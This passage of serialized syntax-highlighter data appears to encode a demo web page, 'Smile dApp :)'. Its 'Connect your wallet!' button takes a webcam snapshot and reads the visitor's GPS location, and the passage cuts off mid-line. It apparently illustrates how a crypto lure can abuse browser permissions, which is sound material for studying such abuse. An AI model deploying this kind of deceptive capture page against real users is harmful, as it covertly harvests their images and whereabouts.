\u003C/script>\n\u003C/body>\n\u003C/html>\n",[156473],{"type":23,"tag":92,"props":156474,"children":156475},{"__ignoreMap":7},[156476,156496,156511,156527,156557,156580,156595,156610,156642,156688,156724,156752,156767,156813,156859,156867,156935,156963,156978,156986,156993,157013,157073,157114,157143,157184,157191,157220,157258,157295,157302,157309,157342,157363,157370,157432,157488,157524,157570,157578,157585,157628,157661,157786,157819,157826,157833,157840,157852,157867,157882],{"type":23,"tag":134,"props":156477,"children":156478},{"class":136,"line":137},[156479,156483,156487,156492],{"type":23,"tag":134,"props":156480,"children":156481},{"style":31871},[156482],{"type":28,"value":33722},{"type":23,"tag":134,"props":156484,"children":156485},{"style":151},[156486],{"type":28,"value":33727},{"type":23,"tag":134,"props":156488,"children":156489},{"style":162},[156490],{"type":28,"value":156491}," html",{"type":23,"tag":134,"props":156493,"children":156494},{"style":31871},[156495],{"type":28,"value":5449},{"type":23,"tag":134,"props":156497,"children":156498},{"class":136,"line":147},[156499,156503,156507],{"type":23,"tag":134,"props":156500,"children":156501},{"style":31871},[156502],{"type":28,"value":5262},{"type":23,"tag":134,"props":156504,"children":156505},{"style":151},[156506],{"type":28,"value":31878},{"type":23,"tag":134,"props":156508,"children":156509},{"style":31871},[156510],{"type":28,"value":5449},{"type":23,"tag":134,"props":156512,"children":156513},{"class":136,"line":185},[156514,156518,156523],{"type":23,"tag":134,"props":156515,"children":156516},{"style":31871},[156517],{"type":28,"value":5262},{"type":23,"tag":134,"props":156519,"children":156520},{"style":151},[156521],{"type":28,"value":156522},"head",{"type":23,"tag":134,"props":156524,"children":156525},{"style":31871},[156526],{"type":28,"value":5449},{"type":23,"tag":134,"props":156528,"children":156529},{"class":136,"line":221},[156530,156534,156539,156544,156548,156553],{"type":23,"tag":134,"props":156531,"children":156532},{"style":31871},[156533],{"type":28,"value":31941},{"type":23,"tag":134,"props":156535,"children":156536},{"style":151},[156537],{"type":28,"value":156538},"meta",{"type":23,"tag":134,"props":156540,"children":156541},{"style":162},[156542],{"type":28,"value":156543}," charset",{"type":23,"tag":134,"props":156545,"children":156546},{"style":179},[156547],{"type":28,"value":257},{"type":23,"tag":134,"props":156549,"children":156550},{"style":1461},[156551],{"type":28,"value":156552},"\"utf-8\"",{"type":23,"tag":134,"props":156554,"children":156555},{"style":31871},[156556],{"type":28,"value":5449},{"type":23,"tag":134,"props":156558,"children":156559},{"class":136,"line":332},[156560,156564,156568,156572,156576],{"type":23,"tag":134,"props":156561,"children":156562},{"style":31871},[156563],{"type":28,"value":31941},{"type":23,"tag":134,"props":156565,"children":156566},{"style":151},[156567],{"type":28,"value":33800},{"type":23,"tag":134,"props":156569,"children":156570},{"style":31871},[156571],{"type":28,"value":49571},{"type":23,"tag":134,"props":156573,"children":156574},{"style":151},[156575],{"type":28,"value":33800},{"type":23,"tag":134,"props":156577,"children":156578},{"style":31871},[156579],{"type":28,"value":5449},{"type":23,"tag":134,"props":156581,"children":156582},{"class":136,"line":438},[156583,156587,156591],{"type":23,"tag":134,"props":156584,"children":156585},{"style":31871},[156586],{"type":28,"value":31925},{"type":23,"tag":134,"props":156588,"children":156589},{"style":151},[156590],{"type":28,"value":156522},{"type":23,"tag":134,"props":156592,"children":156593},{"style":31871},[156594],{"type":28,"value":5449},{"type":23,"tag":134,"props":156596,"children":156597},{"class":136,"line":466},[156598,156602,156606],{"type":23,"tag":134,"props":156599,"children":156600},{"style":31871},[156601],{"type":28,"value":5262},{"type":23,"tag":134,"props":156603,"children":156604},{"style":151},[156605],{"type":28,"value":31895},{"type":23,"tag":134,"props":156607,"children":156608},{"style":31871},[156609],{"type":28,"value":5449},{"type":23,"tag":134,"props":156611,"children":156612},{"class":136,"line":479},[156613,156617,156621,156625,156630,156634,156638],{"type":23,"tag":134,"props":156614,"children":156615},{"style":31871},[156616],{"type":28,"value":31941},{"type":23,"tag":134,"props":156618,"children":156619},{"style":151},[156620],{"type":28,"value":61},{"type":23,"tag":134,"props":156622,"children":156623},{"style":31871},[156624],{"type":28,"value":9927},{"type":23,"tag":134,"props":156626,"children":156627},{"style":179},[156628],{"type":28,"value":156629},"Smile dApp :)",{"type":23,"tag":134,"props":156631,"children":156632},{"style":31871},[156633],{"type":28,"value":31925},{"type":23,"tag":134,"props":156635,"children":156636},{"style":151},[156637],{"type":28,"value":61},{"type":23,"tag":134,"props":156639,"children":156640},{"style":31871},[156641],{"type":28,"value":5449},{"type":23,"tag":134,"props":156643,"children":156644},{"class":136,"line":497},[156645,156649,156654,156658,156662,156667,156671,156676,156680,156684],{"type":23,"tag":134,"props":156646,"children":156647},{"style":31871},[156648],{"type":28,"value":31941},{"type":23,"tag":134,"props":156650,"children":156651},{"style":151},[156652],{"type":28,"value":156653},"button",{"type":23,"tag":134,"props":156655,"children":156656},{"style":162},[156657],{"type":28,"value":31951},{"type":23,"tag":134,"props":156659,"children":156660},{"style":179},[156661],{"type":28,"value":257},{"type":23,"tag":134,"props":156663,"children":156664},{"style":1461},[156665],{"type":28,"value":156666},"\"connect\"",{"type":23,"tag":134,"props":156668,"children":156669},{"style":31871},[156670],{"type":28,"value":9927},{"type":23,"tag":134,"props":156672,"children":156673},{"style":179},[156674],{"type":28,"value":156675},"Connect your wallet!",{"type":23,"tag":134,"props":156677,"children":156678},{"style":31871},[156679],{"type":28,"value":31925},{"type":23,"tag":134,"props":156681,"children":156682},{"style":151},[156683],{"type":28,"value":156653},{"type":23,"tag":134,"props":156685,"children":156686},{"style":31871},[156687],{"type":28,"value":5449},{"type":23,"tag":134,"props":156689,"children":156690},{"class":136,"line":518},[156691,156695,156699,156703,156707,156712,156716,156720],{"type":23,"tag":134,"props":156692,"children":156693},{"style":31871},[156694],{"type":28,"value":31941},{"type":23,"tag":134,"props":156696,"children":156697},{"style":151},[156698],{"type":28,"value":87},{"type":23,"tag":134,"props":156700,"children":156701},{"style":162},[156702],{"type":28,"value":31951},{"type":23,"tag":134,"props":156704,"children":156705},{"style":179},[156706],{"type":28,"value":257},{"type":23,"tag":134,"props":156708,"children":156709},{"style":1461},[156710],{"type":28,"value":156711},"\"gps\"",{"type":23,"tag":134,"props":156713,"children":156714},{"style":31871},[156715],{"type":28,"value":49571},{"type":23,"tag":134,"props":156717,"children":156718},{"style":151},[156719],{"type":28,"value":87},{"type":23,"tag":134,"props":156721,"children":156722},{"style":31871},[156723],{"type":28,"value":5449},{"type":23,"tag":134,"props":156725,"children":156726},{"class":136,"line":527},[156727,156731,156735,156739,156743,156748],{"type":23,"tag":134,"props":156728,"children":156729},{"style":31871},[156730],{"type":28,"value":31941},{"type":23,"tag":134,"props":156732,"children":156733},{"style":151},[156734],{"type":28,"value":1116},{"type":23,"tag":134,"props":156736,"children":156737},{"style":162},[156738],{"type":28,"value":31951},{"type":23,"tag":134,"props":156740,"children":156741},{"style":179},[156742],{"type":28,"value":257},{"type":23,"tag":134,"props":156744,"children":156745},{"style":1461},[156746],{"type":28,"value":156747},"\"pic\"",{"type":23,"tag":134,"props":156749,"children":156750},{"style":31871},[156751],{"type":28,"value":5449},{"type":23,"tag":134,"props":156753,"children":156754},{"class":136,"line":780},[156755,156759,156763],{"type":23,"tag":134,"props":156756,"children":156757},{"style":31871},[156758],{"type":28,"value":31941},{"type":23,"tag":134,"props":156760,"children":156761},{"style":151},[156762],{"type":28,"value":31911},{"type":23,"tag":134,"props":156764,"children":156765},{"style":31871},[156766],{"type":28,"value":5449},{"type":23,"tag":134,"props":156768,"children":156769},{"class":136,"line":797},[156770,156775,156779,156784,156788,156793,156797,156801,156805,156809],{"type":23,"tag":134,"props":156771,"children":156772},{"style":162},[156773],{"type":28,"value":156774},"        window",{"type":23,"tag":134,"props":156776,"children":156777},{"style":168},[156778],{"type":28,"value":720},{"type":23,"tag":134,"props":156780,"children":156781},{"style":264},[156782],{"type":28,"value":156783},"addEventListener",{"type":23,"tag":134,"props":156785,"children":156786},{"style":168},[156787],{"type":28,"value":272},{"type":23,"tag":134,"props":156789,"children":156790},{"style":1461},[156791],{"type":28,"value":156792},"'unhandledrejection'",{"type":23,"tag":134,"props":156794,"children":156795},{"style":168},[156796],{"type":28,"value":242},{"type":23,"tag":134,"props":156798,"children":156799},{"style":151},[156800],{"type":28,"value":30872},{"type":23,"tag":134,"props":156802,"children":156803},{"style":168},[156804],{"type":28,"value":232},{"type":23,"tag":134,"props":156806,"children":156807},{"style":162},[156808],{"type":28,"value":81640},{"type":23,"tag":134,"props":156810,"children":156811},{"style":168},[156812],{"type":28,"value":14272},{"type":23,"tag":134,"props":156814,"children":156815},{"class":136,"line":814},[156816,156821,156825,156830,156834,156838,156842,156847,156851,156855],{"type":23,"tag":134,"props":156817,"children":156818},{"style":264},[156819],{"type":28,"value":156820},"            alert",{"type":23,"tag":134,"props":156822,"children":156823},{"style":168},[156824],{"type":28,"value":272},{"type":23,"tag":134,"props":156826,"children":156827},{"style":1461},[156828],{"type":28,"value":156829},"`Unhandled Promise Rejection: ",{"type":23,"tag":134,"props":156831,"children":156832},{"style":151},[156833],{"type":28,"value":33605},{"type":23,"tag":134,"props":156835,"children":156836},{"style":162},[156837],{"type":28,"value":81640},{"type":23,"tag":134,"props":156839,"children":156840},{"style":168},[156841],{"type":28,"value":720},{"type":23,"tag":134,"props":156843,"children":156844},{"style":162},[156845],{"type":28,"value":156846},"reason",{"type":23,"tag":134,"props":156848,"children":156849},{"style":151},[156850],{"type":28,"value":33637},{"type":23,"tag":134,"props":156852,"children":156853},{"style":1461},[156854],{"type":28,"value":9847},{"type":23,"tag":134,"props":156856,"children":156857},{"style":168},[156858],{"type":28,"value":1021},{"type":23,"tag":134,"props":156860,"children":156861},{"class":136,"line":827},[156862],{"type":23,"tag":134,"props":156863,"children":156864},{"style":168},[156865],{"type":28,"value":156866},"        });\n",{"type":23,"tag":134,"props":156868,"children":156869},{"class":136,"line":836},[156870,156874,156878,156882,156886,156890,156894,156898,156902,156906,156910,156914,156918,156923,156927,156931],{"type":23,"tag":134,"props":156871,"children":156872},{"style":162},[156873],{"type":28,"value":156774},{"type":23,"tag":134,"props":156875,"children":156876},{"style":168},[156877],{"type":28,"value":720},{"type":23,"tag":134,"props":156879,"children":156880},{"style":264},[156881],{"type":28,"value":32184},{"type":23,"tag":134,"props":156883,"children":156884},{"style":168},[156885],{"type":28,"value":32407},{"type":23,"tag":134,"props":156887,"children":156888},{"style":151},[156889],{"type":28,"value":30872},{"type":23,"tag":134,"props":156891,"children":156892},{"style":168},[156893],{"type":28,"value":232},{"type":23,"tag":134,"props":156895,"children":156896},{"style":162},[156897],{"type":28,"value":57453},{"type":23,"tag":134,"props":156899,"children":156900},{"style":168},[156901],{"type":28,"value":242},{"type":23,"tag":134,"props":156903,"children":156904},{"style":162},[156905],{"type":28,"value":69887},{"type":23,"tag":134,"props":156907,"children":156908},{"style":168},[156909],{"type":28,"value":242},{"type":23,"tag":134,"props":156911,"children":156912},{"style":162},[156913],{"type":28,"value":136},{"type":23,"tag":134,"props":156915,"children":156916},{"style":168},[156917],{"type":28,"value":242},{"type":23,"tag":134,"props":156919,"children":156920},{"style":162},[156921],{"type":28,"value":156922},"col",{"type":23,"tag":134,"props":156924,"children":156925},{"style":168},[156926],{"type":28,"value":242},{"type":23,"tag":134,"props":156928,"children":156929},{"style":162},[156930],{"type":28,"value":14332},{"type":23,"tag":134,"props":156932,"children":156933},{"style":168},[156934],{"type":28,"value":14272},{"type":23,"tag":134,"props":156936,"children":156937},{"class":136,"line":859},[156938,156942,156946,156951,156955,156959],{"type":23,"tag":134,"props":156939,"children":156940},{"style":264},[156941],{"type":28,"value":156820},{"type":23,"tag":134,"props":156943,"children":156944},{"style":168},[156945],{"type":28,"value":272},{"type":23,"tag":134,"props":156947,"children":156948},{"style":1461},[156949],{"type":28,"value":156950},"'onerror: '",{"type":23,"tag":134,"props":156952,"children":156953},{"style":168},[156954],{"type":28,"value":34193},{"type":23,"tag":134,"props":156956,"children":156957},{"style":162},[156958],{"type":28,"value":57453},{"type":23,"tag":134,"props":156960,"children":156961},{"style":168},[156962],{"type":28,"value":1021},{"type":23,"tag":134,"props":156964,"children":156965},{"class":136,"line":868},[156966,156970,156974],{"type":23,"tag":134,"props":156967,"children":156968},{"style":189},[156969],{"type":28,"value":78588},{"type":23,"tag":134,"props":156971,"children":156972},{"style":151},[156973],{"type":28,"value":8519},{"type":23,"tag":134,"props":156975,"children":156976},{"style":168},[156977],{"type":28,"value":182},{"type":23,"tag":134,"props":156979,"children":156980},{"class":136,"line":877},[156981],{"type":23,"tag":134,"props":156982,"children":156983},{"style":168},[156984],{"type":28,"value":156985},"        };\n",{"type":23,"tag":134,"props":156987,"children":156988},{"class":136,"line":946},[156989],{"type":23,"tag":134,"props":156990,"children":156991},{"emptyLinePlaceholder":15},[156992],{"type":28,"value":865},{"type":23,"tag":134,"props":156994,"children":156995},{"class":136,"line":954},[156996,157001,157005,157009],{"type":23,"tag":134,"props":156997,"children":156998},{"style":151},[156999],{"type":28,"value":157000},"        async",{"type":23,"tag":134,"props":157002,"children":157003},{"style":151},[157004],{"type":28,"value":37712},{"type":23,"tag":134,"props":157006,"children":157007},{"style":264},[157008],{"type":28,"value":90292},{"type":23,"tag":134,"props":157010,"children":157011},{"style":168},[157012],{"type":28,"value":15206},{"type":23,"tag":134,"props":157014,"children":157015},{"class":136,"line":984},[157016,157020,157025,157029,157033,157038,157042,157047,157051,157056,157060,157065,157069],{"type":23,"tag":134,"props":157017,"children":157018},{"style":151},[157019],{"type":28,"value":150546},{"type":23,"tag":134,"props":157021,"children":157022},{"style":162},[157023],{"type":28,"value":157024}," stream",{"type":23,"tag":134,"props":157026,"children":157027},{"style":168},[157028],{"type":28,"value":32407},{"type":23,"tag":134,"props":157030,"children":157031},{"style":189},[157032],{"type":28,"value":32412},{"type":23,"tag":134,"props":157034,"children":157035},{"style":162},[157036],{"type":28,"value":157037}," navigator",{"type":23,"tag":134,"props":157039,"children":157040},{"style":168},[157041],{"type":28,"value":720},{"type":23,"tag":134,"props":157043,"children":157044},{"style":162},[157045],{"type":28,"value":157046},"mediaDevices",{"type":23,"tag":134,"props":157048,"children":157049},{"style":168},[157050],{"type":28,"value":720},{"type":23,"tag":134,"props":157052,"children":157053},{"style":264},[157054],{"type":28,"value":157055},"getUserMedia",{"type":23,"tag":134,"props":157057,"children":157058},{"style":168},[157059],{"type":28,"value":30993},{"type":23,"tag":134,"props":157061,"children":157062},{"style":162},[157063],{"type":28,"value":157064},"video:",{"type":23,"tag":134,"props":157066,"children":157067},{"style":151},[157068],{"type":28,"value":11936},{"type":23,"tag":134,"props":157070,"children":157071},{"style":168},[157072],{"type":28,"value":38333},{"type":23,"tag":134,"props":157074,"children":157075},{"class":136,"line":992},[157076,157080,157085,157089,157093,157097,157101,157105,157110],{"type":23,"tag":134,"props":157077,"children":157078},{"style":151},[157079],{"type":28,"value":150546},{"type":23,"tag":134,"props":157081,"children":157082},{"style":162},[157083],{"type":28,"value":157084}," video",{"type":23,"tag":134,"props":157086,"children":157087},{"style":168},[157088],{"type":28,"value":32407},{"type":23,"tag":134,"props":157090,"children":157091},{"style":162},[157092],{"type":28,"value":32203},{"type":23,"tag":134,"props":157094,"children":157095},{"style":168},[157096],{"type":28,"value":720},{"type":23,"tag":134,"props":157098,"children":157099},{"style":264},[157100],{"type":28,"value":36219},{"type":23,"tag":134,"props":157102,"children":157103},{"style":168},[157104],{"type":28,"value":272},{"type":23,"tag":134,"props":157106,"children":157107},{"style":1461},[157108],{"type":28,"value":157109},"\"video\"",{"type":23,"tag":134,"props":157111,"children":157112},{"style":168},[157113],{"type":28,"value":1021},{"type":23,"tag":134,"props":157115,"children":157116},{"class":136,"line":1024},[157117,157122,157126,157131,157135,157139],{"type":23,"tag":134,"props":157118,"children":157119},{"style":162},[157120],{"type":28,"value":157121},"            video",{"type":23,"tag":134,"props":157123,"children":157124},{"style":168},[157125],{"type":28,"value":720},{"type":23,"tag":134,"props":157127,"children":157128},{"style":162},[157129],{"type":28,"value":157130},"srcObject",{"type":23,"tag":134,"props":157132,"children":157133},{"style":168},[157134],{"type":28,"value":32407},{"type":23,"tag":134,"props":157136,"children":157137},{"style":162},[157138],{"type":28,"value":35759},{"type":23,"tag":134,"props":157140,"children":157141},{"style":168},[157142],{"type":28,"value":182},{"type":23,"tag":134,"props":157144,"children":157145},{"class":136,"line":1032},[157146,157150,157155,157159,157163,157167,157171,157175,157180],{"type":23,"tag":134,"props":157147,"children":157148},{"style":151},[157149],{"type":28,"value":150546},{"type":23,"tag":134,"props":157151,"children":157152},{"style":162},[157153],{"type":28,"value":157154}," canvas",{"type":23,"tag":134,"props":157156,"children":157157},{"style":168},[157158],{"type":28,"value":32407},{"type":23,"tag":134,"props":157160,"children":157161},{"style":162},[157162],{"type":28,"value":32203},{"type":23,"tag":134,"props":157164,"children":157165},{"style":168},[157166],{"type":28,"value":720},{"type":23,"tag":134,"props":157168,"children":157169},{"style":264},[157170],{"type":28,"value":36219},{"type":23,"tag":134,"props":157172,"children":157173},{"style":168},[157174],{"type":28,"value":272},{"type":23,"tag":134,"props":157176,"children":157177},{"style":1461},[157178],{"type":28,"value":157179},"\"canvas\"",{"type":23,"tag":134,"props":157181,"children":157182},{"style":168},[157183],{"type":28,"value":1021},{"type":23,"tag":134,"props":157185,"children":157186},{"class":136,"line":1092},[157187],{"type":23,"tag":134,"props":157188,"children":157189},{"emptyLinePlaceholder":15},[157190],{"type":28,"value":865},{"type":23,"tag":134,"props":157192,"children":157193},{"class":136,"line":8508},[157194,157198,157202,157207,157212,157216],{"type":23,"tag":134,"props":157195,"children":157196},{"style":162},[157197],{"type":28,"value":157121},{"type":23,"tag":134,"props":157199,"children":157200},{"style":168},[157201],{"type":28,"value":720},{"type":23,"tag":134,"props":157203,"children":157204},{"style":264},[157205],{"type":28,"value":157206},"onloadedmetadata",{"type":23,"tag":134,"props":157208,"children":157209},{"style":168},[157210],{"type":28,"value":157211}," = () ",{"type":23,"tag":134,"props":157213,"children":157214},{"style":151},[157215],{"type":28,"value":14290},{"type":23,"tag":134,"props":157217,"children":157218},{"style":168},[157219],{"type":28,"value":463},{"type":23,"tag":134,"props":157221,"children":157222},{"class":136,"line":8526},[157223,157228,157232,157237,157241,157245,157249,157254],{"type":23,"tag":134,"props":157224,"children":157225},{"style":162},[157226],{"type":28,"value":157227},"                canvas",{"type":23,"tag":134,"props":157229,"children":157230},{"style":168},[157231],{"type":28,"value":720},{"type":23,"tag":134,"props":157233,"children":157234},{"style":162},[157235],{"type":28,"value":157236},"width",{"type":23,"tag":134,"props":157238,"children":157239},{"style":168},[157240],{"type":28,"value":32407},{"type":23,"tag":134,"props":157242,"children":157243},{"style":162},[157244],{"type":28,"value":131370},{"type":23,"tag":134,"props":157246,"children":157247},{"style":168},[157248],{"type":28,"value":720},{"type":23,"tag":134,"props":157250,"children":157251},{"style":162},[157252],{"type":28,"value":157253},"videoWidth",{"type":23,"tag":134,"props":157255,"children":157256},{"style":168},[157257],{"type":28,"value":182},{"type":23,"tag":134,"props":157259,"children":157260},{"class":136,"line":8571},[157261,157265,157269,157274,157278,157282,157286,157291],{"type":23,"tag":134,"props":157262,"children":157263},{"style":162},[157264],{"type":28,"value":157227},{"type":23,"tag":134,"props":157266,"children":157267},{"style":168},[157268],{"type":28,"value":720},{"type":23,"tag":134,"props":157270,"children":157271},{"style":162},[157272],{"type":28,"value":157273},"height",{"type":23,"tag":134,"props":157275,"children":157276},{"style":168},[157277],{"type":28,"value":32407},{"type":23,"tag":134,"props":157279,"children":157280},{"style":162},[157281],{"type":28,"value":131370},{"type":23,"tag":134,"props":157283,"children":157284},{"style":168},[157285],{"type":28,"value":720},{"type":23,"tag":134,"props":157287,"children":157288},{"style":162},[157289],{"type":28,"value":157290},"videoHeight",{"type":23,"tag":134,"props":157292,"children":157293},{"style":168},[157294],{"type":28,"value":182},{"type":23,"tag":134,"props":157296,"children":157297},{"class":136,"line":8677},[157298],{"type":23,"tag":134,"props":157299,"children":157300},{"style":168},[157301],{"type":28,"value":47579},{"type":23,"tag":134,"props":157303,"children":157304},{"class":136,"line":22988},[157305],{"type":23,"tag":134,"props":157306,"children":157307},{"emptyLinePlaceholder":15},[157308],{"type":28,"value":865},{"type":23,"tag":134,"props":157310,"children":157311},{"class":136,"line":23023},[157312,157317,157321,157326,157330,157334,157338],{"type":23,"tag":134,"props":157313,"children":157314},{"style":162},[157315],{"type":28,"value":157316},"            connect",{"type":23,"tag":134,"props":157318,"children":157319},{"style":168},[157320],{"type":28,"value":720},{"type":23,"tag":134,"props":157322,"children":157323},{"style":264},[157324],{"type":28,"value":157325},"onclick",{"type":23,"tag":134,"props":157327,"children":157328},{"style":168},[157329],{"type":28,"value":32407},{"type":23,"tag":134,"props":157331,"children":157332},{"style":162},[157333],{"type":28,"value":50960},{"type":23,"tag":134,"props":157335,"children":157336},{"style":151},[157337],{"type":28,"value":27244},{"type":23,"tag":134,"props":157339,"children":157340},{"style":168},[157341],{"type":28,"value":463},{"type":23,"tag":134,"props":157343,"children":157344},{"class":136,"line":23031},[157345,157350,157354,157359],{"type":23,"tag":134,"props":157346,"children":157347},{"style":162},[157348],{"type":28,"value":157349},"                video",{"type":23,"tag":134,"props":157351,"children":157352},{"style":168},[157353],{"type":28,"value":720},{"type":23,"tag":134,"props":157355,"children":157356},{"style":264},[157357],{"type":28,"value":157358},"play",{"type":23,"tag":134,"props":157360,"children":157361},{"style":168},[157362],{"type":28,"value":856},{"type":23,"tag":134,"props":157364,"children":157365},{"class":136,"line":23039},[157366],{"type":23,"tag":134,"props":157367,"children":157368},{"emptyLinePlaceholder":15},[157369],{"type":28,"value":865},{"type":23,"tag":134,"props":157371,"children":157372},{"class":136,"line":23048},[157373,157377,157381,157386,157390,157395,157399,157404,157408,157412,157416,157420,157424,157428],{"type":23,"tag":134,"props":157374,"children":157375},{"style":162},[157376],{"type":28,"value":157227},{"type":23,"tag":134,"props":157378,"children":157379},{"style":168},[157380],{"type":28,"value":720},{"type":23,"tag":134,"props":157382,"children":157383},{"style":264},[157384],{"type":28,"value":157385},"getContext",{"type":23,"tag":134,"props":157387,"children":157388},{"style":168},[157389],{"type":28,"value":272},{"type":23,"tag":134,"props":157391,"children":157392},{"style":1461},[157393],{"type":28,"value":157394},"\"2d\"",{"type":23,"tag":134,"props":157396,"children":157397},{"style":168},[157398],{"type":28,"value":20220},{"type":23,"tag":134,"props":157400,"children":157401},{"style":264},[157402],{"type":28,"value":157403},"drawImage",{"type":23,"tag":134,"props":157405,"children":157406},{"style":168},[157407],{"type":28,"value":272},{"type":23,"tag":134,"props":157409,"children":157410},{"style":162},[157411],{"type":28,"value":131370},{"type":23,"tag":134,"props":157413,"children":157414},{"style":168},[157415],{"type":28,"value":242},{"type":23,"tag":134,"props":157417,"children":157418},{"style":205},[157419],{"type":28,"value":1224},{"type":23,"tag":134,"props":157421,"children":157422},{"style":168},[157423],{"type":28,"value":242},{"type":23,"tag":134,"props":157425,"children":157426},{"style":205},[157427],{"type":28,"value":1224},{"type":23,"tag":134,"props":157429,"children":157430},{"style":168},[157431],{"type":28,"value":1021},{"type":23,"tag":134,"props":157433,"children":157434},{"class":136,"line":23090},[157435,157440,157444,157449,157453,157458,157462,157466,157470,157475,157479,157484],{"type":23,"tag":134,"props":157436,"children":157437},{"style":162},[157438],{"type":28,"value":157439},"                stream",{"type":23,"tag":134,"props":157441,"children":157442},{"style":168},[157443],{"type":28,"value":720},{"type":23,"tag":134,"props":157445,"children":157446},{"style":264},[157447],{"type":28,"value":157448},"getTracks",{"type":23,"tag":134,"props":157450,"children":157451},{"style":168},[157452],{"type":28,"value":29662},{"type":23,"tag":134,"props":157454,"children":157455},{"style":264},[157456],{"type":28,"value":157457},"forEach",{"type":23,"tag":134,"props":157459,"children":157460},{"style":168},[157461],{"type":28,"value":272},{"type":23,"tag":134,"props":157463,"children":157464},{"style":162},[157465],{"type":28,"value":21208},{"type":23,"tag":134,"props":157467,"children":157468},{"style":151},[157469],{"type":28,"value":27244},{"type":23,"tag":134,"props":157471,"children":157472},{"style":162},[157473],{"type":28,"value":157474}," t",{"type":23,"tag":134,"props":157476,"children":157477},{"style":168},[157478],{"type":28,"value":720},{"type":23,"tag":134,"props":157480,"children":157481},{"style":264},[157482],{"type":28,"value":157483},"stop",{"type":23,"tag":134,"props":157485,"children":157486},{"style":168},[157487],{"type":28,"value":14894},{"type":23,"tag":134,"props":157489,"children":157490},{"class":136,"line":23123},[157491,157495,157499,157504,157508,157512,157516,157520],{"type":23,"tag":134,"props":157492,"children":157493},{"style":162},[157494],{"type":28,"value":157227},{"type":23,"tag":134,"props":157496,"children":157497},{"style":168},[157498],{"type":28,"value":720},{"type":23,"tag":134,"props":157500,"children":157501},{"style":264},[157502],{"type":28,"value":157503},"toBlob",{"type":23,"tag":134,"props":157505,"children":157506},{"style":168},[157507],{"type":28,"value":31018},{"type":23,"tag":134,"props":157509,"children":157510},{"style":162},[157511],{"type":28,"value":32444},{"type":23,"tag":134,"props":157513,"children":157514},{"style":168},[157515],{"type":28,"value":252},{"type":23,"tag":134,"props":157517,"children":157518},{"style":151},[157519],{"type":28,"value":14290},{"type":23,"tag":134,"props":157521,"children":157522},{"style":168},[157523],{"type":28,"value":463},{"type":23,"tag":134,"props":157525,"children":157526},{"class":136,"line":23131},[157527,157532,157536,157540,157544,157549,157553,157558,157562,157566],{"type":23,"tag":134,"props":157528,"children":157529},{"style":162},[157530],{"type":28,"value":157531},"                    pic",{"type":23,"tag":134,"props":157533,"children":157534},{"style":168},[157535],{"type":28,"value":720},{"type":23,"tag":134,"props":157537,"children":157538},{"style":162},[157539],{"type":28,"value":32165},{"type":23,"tag":134,"props":157541,"children":157542},{"style":168},[157543],{"type":28,"value":32407},{"type":23,"tag":134,"props":157545,"children":157546},{"style":162},[157547],{"type":28,"value":157548},"URL",{"type":23,"tag":134,"props":157550,"children":157551},{"style":168},[157552],{"type":28,"value":720},{"type":23,"tag":134,"props":157554,"children":157555},{"style":264},[157556],{"type":28,"value":157557},"createObjectURL",{"type":23,"tag":134,"props":157559,"children":157560},{"style":168},[157561],{"type":28,"value":272},{"type":23,"tag":134,"props":157563,"children":157564},{"style":162},[157565],{"type":28,"value":32444},{"type":23,"tag":134,"props":157567,"children":157568},{"style":168},[157569],{"type":28,"value":1021},{"type":23,"tag":134,"props":157571,"children":157572},{"class":136,"line":23139},[157573],{"type":23,"tag":134,"props":157574,"children":157575},{"style":168},[157576],{"type":28,"value":157577},"                });\n",{"type":23,"tag":134,"props":157579,"children":157580},{"class":136,"line":23148},[157581],{"type":23,"tag":134,"props":157582,"children":157583},{"emptyLinePlaceholder":15},[157584],{"type":28,"value":865},{"type":23,"tag":134,"props":157586,"children":157587},{"class":136,"line":23224},[157588,157593,157597,157602,157606,157611,157615,157620,157624],{"type":23,"tag":134,"props":157589,"children":157590},{"style":162},[157591],{"type":28,"value":157592},"                navigator",{"type":23,"tag":134,"props":157594,"children":157595},{"style":168},[157596],{"type":28,"value":720},{"type":23,"tag":134,"props":157598,"children":157599},{"style":162},[157600],{"type":28,"value":157601},"geolocation",{"type":23,"tag":134,"props":157603,"children":157604},{"style":168},[157605],{"type":28,"value":720},{"type":23,"tag":134,"props":157607,"children":157608},{"style":264},[157609],{"type":28,"value":157610},"getCurrentPosition",{"type":23,"tag":134,"props":157612,"children":157613},{"style":168},[157614],{"type":28,"value":272},{"type":23,"tag":134,"props":157616,"children":157617},{"style":162},[157618],{"type":28,"value":157619},"pos",{"type":23,"tag":134,"props":157621,"children":157622},{"style":151},[157623],{"type":28,"value":27244},{"type":23,"tag":134,"props":157625,"children":157626},{"style":168},[157627],{"type":28,"value":463},{"type":23,"tag":134,"props":157629,"children":157630},{"class":136,"line":23257},[157631,157636,157640,157644,157648,157652,157657],{"type":23,"tag":134,"props":157632,"children":157633},{"style":151},[157634],{"type":28,"value":157635},"                    const",{"type":23,"tag":134,"props":157637,"children":157638},{"style":162},[157639],{"type":28,"value":36943},{"type":23,"tag":134,"props":157641,"children":157642},{"style":168},[157643],{"type":28,"value":32407},{"type":23,"tag":134,"props":157645,"children":157646},{"style":162},[157647],{"type":28,"value":157619},{"type":23,"tag":134,"props":157649,"children":157650},{"style":168},[157651],{"type":28,"value":720},{"type":23,"tag":134,"props":157653,"children":157654},{"style":162},[157655],{"type":28,"value":157656},"coords",{"type":23,"tag":134,"props":157658,"children":157659},{"style":168},[157660],{"type":28,"value":182},{"type":23,"tag":134,"props":157662,"children":157663},{"class":136,"line":23265},[157664,157669,157673,157677,157681,157686,157690,157694,157698,157703,157707,157712,157716,157720,157724,157728,157732,157737,157741,157745,157749,157754,157758,157762,157766,157770,157774,157778,157782],{"type":23,"tag":134,"props":157665,"children":157666},{"style":162},[157667],{"type":28,"value":157668},"                    gps",{"type":23,"tag":134,"props":157670,"children":157671},{"style":168},[157672],{"type":28,"value":720},{"type":23,"tag":134,"props":157674,"children":157675},{"style":162},[157676],{"type":28,"value":34461},{"type":23,"tag":134,"props":157678,"children":157679},{"style":168},[157680],{"type":28,"value":32407},{"type":23,"tag":134,"props":157682,"children":157683},{"style":1461},[157684],{"type":28,"value":157685},"`Lat: 